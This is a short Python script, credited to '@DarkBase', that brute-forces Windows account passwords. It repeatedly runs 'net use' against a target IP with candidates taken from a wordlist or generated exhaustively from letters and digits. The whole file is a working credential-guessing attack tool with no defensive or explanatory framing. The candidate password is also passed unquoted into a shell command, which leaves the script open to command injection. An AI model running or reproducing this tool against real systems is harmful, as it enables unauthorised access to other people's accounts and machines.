# The Code Created By : @DarkBase
import getpass
import os
import string
import itertools
def crack_windows_password_by_passwords_list(passwords_list , username=False , ip="127.0.0.1"):
if not username or username == None:
current_user_name = getpass.getuser()
elif username != False or username != None:
current_user_name = username
#==================================================================================
for password_ in passwords_list:
print(password_)
command = f"net use \\\\{ip} /user:{current_user_name} {password_}"
status = os.system(f"{command} > null 2>&1")
if not status:
return [True,password_]
return [False,False]
def crack_windows_password_generating(min_length=8, max_length=8, characters=string.ascii_letters + string.digits , username=False , ip="127.0.0.1"):
if not username or username == None:
current_user_name = getpass.getuser()
elif username != False or username != None:
current_user_name = username
#==================================================================================
for length in range(min_length, max_length + 1):
for password in itertools.product(characters, repeat=length):
the_password = ""
for e in password:
the_password += e
print(the_password)
command = f"net use \\\\{ip} /user:{current_user_name} {the_password}"
status = os.system(f"{command} > null 2>&1")
if not status:
return [True,the_password]
return [False,False]